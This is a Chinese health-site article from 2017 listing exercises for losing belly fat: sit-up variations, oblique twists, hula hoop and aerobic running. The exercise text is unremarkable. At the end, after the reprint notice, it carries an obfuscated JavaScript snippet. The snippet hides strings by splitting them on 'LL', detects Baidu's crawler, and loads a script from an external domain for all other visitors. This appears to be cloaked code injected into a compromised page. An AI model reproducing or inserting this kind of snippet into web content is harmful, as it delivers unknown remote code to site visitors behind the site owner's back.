当前位置:首页 > 减肥 > 运动减肥 > 正文

如何减肥肚子的运动有哪些

2017-04-22 01:05:31  来源:360常识网   热度:
导语:如果肚子上面长了赘肉的话,那么是需要做一些运动来改善和调节自己的身材,运动的方法有很多种,不过想要彻底的摆脱脂肪,摆脱赘肉 的话,

如果肚子上面长了赘肉的话,那么是需要做一些运动来改善和调节自己的身材,运动的方法有很多种,不过想要彻底的摆脱脂肪,摆脱赘肉 的话,那么就要多做一些有氧运动,通过流汗水才能让自己体内的脂肪燃烧,这样长期做下来的话瘦身的效果就会相当的突出,肚子是很难瘦下去的部位,不过需要大家的努力来完成效果最好,那么减肥肚子的运动有哪些呢?

水平腹肌运动

减肚子指数:★★★

这套水平腹肌运动之所以能起到减肚子的作用,是因为它同样是针对腹部和腰部的运动,先是消减上腹的赘肉再是下腹,然后锻炼腰部线条,值得一试哦。

1、脐上练习:躺在床上或者地板,下半身保持不动,然后进行仰卧起坐,这样可以使胃部凸出的部分收紧和平坦。

2、脐下练习:躺在床上或者地板,上半身保持不动,将双脚抬高做屈伸腿和头上举练习,这样做可以收紧和消减整个下腹。

3、腹外斜肌练习:当完成以上两个练习后,就可以进行腹外斜肌的练习啦。主要是扭动左右两边的腰腹的肌肉,这种练习起辅助作用,使上下腹部练习的减肥效果更加明显。

摇呼啦圈

减肚子指数:★★★★

呼啦圈之所能能减肚子,是因为在转动呼啦圈的过程中要充分运用腰腹部的力量,减肚子的同时还能塑造腰部线条哦,不过要选择重量适中的呼啦圈,太重的话会对身体造成负荷,太轻的话摇起来也很费劲哦。

如果 想要给自己减肥肚子上的赘肉,那么不妨让自己尝试尝试这些运动,这些运动大部分都是有氧的运动,有氧的运动都是消耗体内热量的运动,也是燃烧脂肪最快的运动,比如说跑步,慢跑,原地跑步,这些运动都是可以很好的减掉肚子上的赘肉,让自己做会真正好身材的人。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}